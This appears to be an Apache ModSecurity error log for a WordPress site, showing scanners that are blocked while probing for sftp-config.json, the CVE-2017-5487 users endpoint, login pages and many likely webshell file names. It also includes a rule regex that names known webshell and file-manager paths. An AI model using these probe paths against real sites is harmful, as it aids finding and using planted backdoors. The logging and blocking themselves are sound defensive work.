[Sat Nov 15 20:10:39.247345 2025] [:error] [pid 27997:tid 28007] [client 81.88.52.56:44092] [client 81.88.52.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRhtv9pja_6cDxKbxFnpIgAAAMg"], referer: http://gigfragments.org/wp-login.php
[Sat Nov 15 20:10:40.681743 2025] [:error] [pid 27911:tid 27980] [client 81.88.52.56:44104] [client 81.88.52.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.52.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhtwMGzUdrhGBIfiKR0AgAAAIw"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Sat Nov 15 20:16:31.876498 2025] [:error] [pid 20313:tid 20320] [client 45.138.16.215:58056] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aRhvHxI9DXIgPadBLUadOAAAAsQ"]
[Sat Nov 15 20:16:32.533116 2025] [:error] [pid 27911:tid 27968] [client 45.138.16.215:58173] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aRhvIMGzUdrhGBIfiKR0mgAAAIA"]
[Sat Nov 15 20:16:33.074517 2025] [:error] [pid 27911:tid 27970] [client 45.138.16.215:58274] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aRhvIcGzUdrhGBIfiKR0ngAAAII"]
[Sun Nov 16 02:20:43.991958 2025] [:error] [pid 22765:tid 22784] [client 194.233.93.209:61480] [client 194.233.93.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aRjEe6brQzjuZmPIWDZLEAAAAo4"]
[Sun Nov 16 03:12:52.219168 2025] [:error] [pid 27805:tid 27914] [client 20.2.83.141:63641] [client 20.2.83.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aRjQtCBvBtHG_700S7taJQAAAEo"], referer: binance.com
[Sun Nov 16 03:32:48.903946 2025] [:error] [pid 35305:tid 35330] [client 195.20.233.67:51926] [client 195.20.233.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.20.233.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRjVYCiqH8BCseO3upnqCAAAANQ"]
[Sun Nov 16 04:51:57.600419 2025] [:error] [pid 52470:tid 52529] [client 170.106.37.134:50440] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRjn7Ug9mXF2ZFFtj1XDagAAAFg"]
[Sun Nov 16 05:21:52.005878 2025] [:error] [pid 52469:tid 52479] [client 4.206.159.110:65304] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filei.php"] [unique_id "aRju8E6HaXpHeEZ98Z0FLAAAAAI"]
[Sun Nov 16 05:21:56.003656 2025] [:error] [pid 52471:tid 52533] [client 4.206.159.110:65308] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filei.php"] [unique_id "aRju9NmWsFzjR5CEgDWe-QAAAIE"]
[Sun Nov 16 05:21:57.948036 2025] [:error] [pid 52469:tid 52485] [client 4.206.159.110:65291] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filei.php"] [unique_id "aRju9U6HaXpHeEZ98Z0FVgAAAAg"]
[Sun Nov 16 05:21:59.258926 2025] [:error] [pid 52470:tid 52517] [client 4.206.159.110:65311] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filei.php"] [unique_id "aRju90g9mXF2ZFFtj1XI7gAAAEw"]
[Sun Nov 16 05:22:00.567014 2025] [:error] [pid 52563:tid 52585] [client 4.206.159.110:65309] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aRju-M-l3ey-hVJ5AuvvkQAAANM"]
[Sun Nov 16 05:22:05.864757 2025] [:error] [pid 52469:tid 52478] [client 4.206.159.110:65310] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aRju_U6HaXpHeEZ98Z0FXwAAAAE"]
[Sun Nov 16 05:22:07.889701 2025] [:error] [pid 52469:tid 52492] [client 4.206.159.110:65293] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aRju_06HaXpHeEZ98Z0FZgAAAA8"]
[Sun Nov 16 05:22:09.338155 2025] [:error] [pid 52469:tid 52490] [client 4.206.159.110:65388] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aRjvAU6HaXpHeEZ98Z0FZwAAAA0"]
[Sun Nov 16 05:22:13.420113 2025] [:error] [pid 52469:tid 52497] [client 4.206.159.110:65313] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aRjvBU6HaXpHeEZ98Z0FaAAAABQ"]
[Sun Nov 16 05:22:21.294826 2025] [:error] [pid 52470:tid 52524] [client 4.206.159.110:65359] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aRjvDUg9mXF2ZFFtj1XI-gAAAFM"]
[Sun Nov 16 05:22:22.701818 2025] [:error] [pid 52471:tid 52537] [client 4.206.159.110:65335] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aRjvDtmWsFzjR5CEgDWfCgAAAIU"]
[Sun Nov 16 05:22:25.175812 2025] [:error] [pid 20556:tid 20569] [client 4.206.159.110:63356] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aRjvEUkbyEckbWtBcCKM_gAAAQs"]
[Sun Nov 16 05:22:31.401700 2025] [:error] [pid 52470:tid 52508] [client 4.206.159.110:65337] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aRjvF0g9mXF2ZFFtj1XJAQAAAEM"]
[Sun Nov 16 05:22:38.820650 2025] [:error] [pid 20556:tid 20560] [client 4.206.159.110:65300] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aRjvHkkbyEckbWtBcCKNGgAAAQI"]
[Sun Nov 16 05:22:40.984610 2025] [:error] [pid 52471:tid 52554] [client 4.206.159.110:63304] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aRjvINmWsFzjR5CEgDWfFAAAAJY"]
[Sun Nov 16 05:22:45.296760 2025] [:error] [pid 52469:tid 52489] [client 4.206.159.110:65339] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/info.php"] [unique_id "aRjvJU6HaXpHeEZ98Z0FgQAAAAw"]
[Sun Nov 16 05:22:49.698928 2025] [:error] [pid 20556:tid 20577] [client 4.206.159.110:65284] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/info.php"] [unique_id "aRjvKUkbyEckbWtBcCKNKwAAARM"]
[Sun Nov 16 05:23:12.353596 2025] [:error] [pid 52469:tid 52490] [client 4.206.159.110:65351] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aRjvQE6HaXpHeEZ98Z0FpgAAAA0"]
[Sun Nov 16 05:23:19.230885 2025] [:error] [pid 52470:tid 52519] [client 4.206.159.110:65400] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aRjvR0g9mXF2ZFFtj1XJHQAAAE4"]
[Sun Nov 16 05:23:20.129150 2025] [:error] [pid 52470:tid 52509] [client 4.206.159.110:65373] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aRjvSEg9mXF2ZFFtj1XJHwAAAEQ"]
[Sun Nov 16 05:23:22.844081 2025] [:error] [pid 20556:tid 20569] [client 4.206.159.110:63349] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aRjvSkkbyEckbWtBcCKNZgAAAQs"]
[Sun Nov 16 05:23:30.700816 2025] [:error] [pid 52470:tid 52528] [client 4.206.159.110:65287] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aRjvUkg9mXF2ZFFtj1XJJAAAAFc"]
[Sun Nov 16 05:23:35.561951 2025] [:error] [pid 52471:tid 52549] [client 4.206.159.110:63303] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aRjvV9mWsFzjR5CEgDWfPQAAAJE"]
[Sun Nov 16 05:23:36.399905 2025] [:error] [pid 52470:tid 52527] [client 4.206.159.110:65303] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aRjvWEg9mXF2ZFFtj1XJKgAAAFY"]
[Sun Nov 16 05:23:37.810931 2025] [:error] [pid 52563:tid 52567] [client 4.206.159.110:65385] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aRjvWc-l3ey-hVJ5Auvv0wAAAME"]
[Sun Nov 16 05:23:39.699134 2025] [:error] [pid 52563:tid 52586] [client 4.206.159.110:65392] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aRjvW8-l3ey-hVJ5Auvv1wAAANQ"]
[Sun Nov 16 05:23:42.759273 2025] [:error] [pid 20556:tid 20570] [client 4.206.159.110:63263] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aRjvXkkbyEckbWtBcCKNggAAAQw"]
[Sun Nov 16 05:23:48.848582 2025] [:error] [pid 20556:tid 20575] [client 4.206.159.110:63298] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aRjvZEkbyEckbWtBcCKNkgAAARE"]
[Sun Nov 16 05:23:56.910292 2025] [:error] [pid 20556:tid 20571] [client 4.206.159.110:63317] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aRjvbEkbyEckbWtBcCKNpwAAAQ0"]
[Sun Nov 16 05:23:58.533957 2025] [:error] [pid 20556:tid 20568] [client 4.206.159.110:65296] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aRjvbkkbyEckbWtBcCKNrAAAAQo"]
[Sun Nov 16 05:24:18.830900 2025] [:error] [pid 52471:tid 52548] [client 4.206.159.110:65361] [client 4.206.159.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aRjvgtmWsFzjR5CEgDWfbAAAAJA"]
[Sun Nov 16 05:24:33.614472 2025] [:error] [pid 52471:tid 52539] [client 4.206.159.110:65297] [client 4.206.159.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.206.159.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRjvkdmWsFzjR5CEgDWfggAAAIc"]
[Sun Nov 16 05:24:34.762785 2025] [:error] [pid 52471:tid 52554] [client 4.206.159.110:65297] [client 4.206.159.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.206.159.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRjvktmWsFzjR5CEgDWfhAAAAJY"]
[Sun Nov 16 05:24:42.620772 2025] [:error] [pid 52470:tid 52523] [client 4.206.159.110:63318] [client 4.206.159.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aRjvmkg9mXF2ZFFtj1XJdAAAAFI"]
[Sun Nov 16 05:24:47.403056 2025] [:error] [pid 20556:tid 20578] [client 4.206.159.110:63337] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cf.php"] [unique_id "aRjvn0kbyEckbWtBcCKOHAAAARQ"]
[Sun Nov 16 05:24:51.232162 2025] [:error] [pid 20556:tid 20578] [client 4.206.159.110:65349] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cf.php"] [unique_id "aRjvo0kbyEckbWtBcCKOJwAAARQ"]
[Sun Nov 16 05:24:52.834024 2025] [:error] [pid 52469:tid 52487] [client 4.206.159.110:65326] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cf.php"] [unique_id "aRjvpE6HaXpHeEZ98Z0F7wAAAAo"]
[Sun Nov 16 05:24:56.073402 2025] [:error] [pid 52563:tid 52584] [client 4.206.159.110:65366] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cf.php"] [unique_id "aRjvqM-l3ey-hVJ5AuvwcgAAANI"]
[Sun Nov 16 05:24:57.718537 2025] [:error] [pid 52563:tid 52580] [client 4.206.159.110:63299] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/get.php"] [unique_id "aRjvqc-l3ey-hVJ5AuvwdAAAAM4"]
[Sun Nov 16 05:25:01.682476 2025] [:error] [pid 52470:tid 52527] [client 4.206.159.110:65371] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/get.php"] [unique_id "aRjvrUg9mXF2ZFFtj1XJhQAAAFY"]
[Sun Nov 16 05:25:02.659880 2025] [:error] [pid 20556:tid 20563] [client 4.206.159.110:65406] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/get.php"] [unique_id "aRjvrkkbyEckbWtBcCKOPgAAAQU"]
[Sun Nov 16 05:25:09.156399 2025] [:error] [pid 52471:tid 52555] [client 4.206.159.110:65394] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/get.php"] [unique_id "aRjvtdmWsFzjR5CEgDWfkwAAAJc"]
[Sun Nov 16 05:25:11.255617 2025] [:error] [pid 52471:tid 52536] [client 4.206.159.110:65332] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aRjvt9mWsFzjR5CEgDWflAAAAIQ"]
[Sun Nov 16 05:25:12.466564 2025] [:error] [pid 52470:tid 52518] [client 4.206.159.110:63245] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aRjvuEg9mXF2ZFFtj1XJiAAAAE0"]
[Sun Nov 16 05:25:23.014861 2025] [:error] [pid 52470:tid 52511] [client 4.206.159.110:65375] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aRjvw0g9mXF2ZFFtj1XJlgAAAEY"]
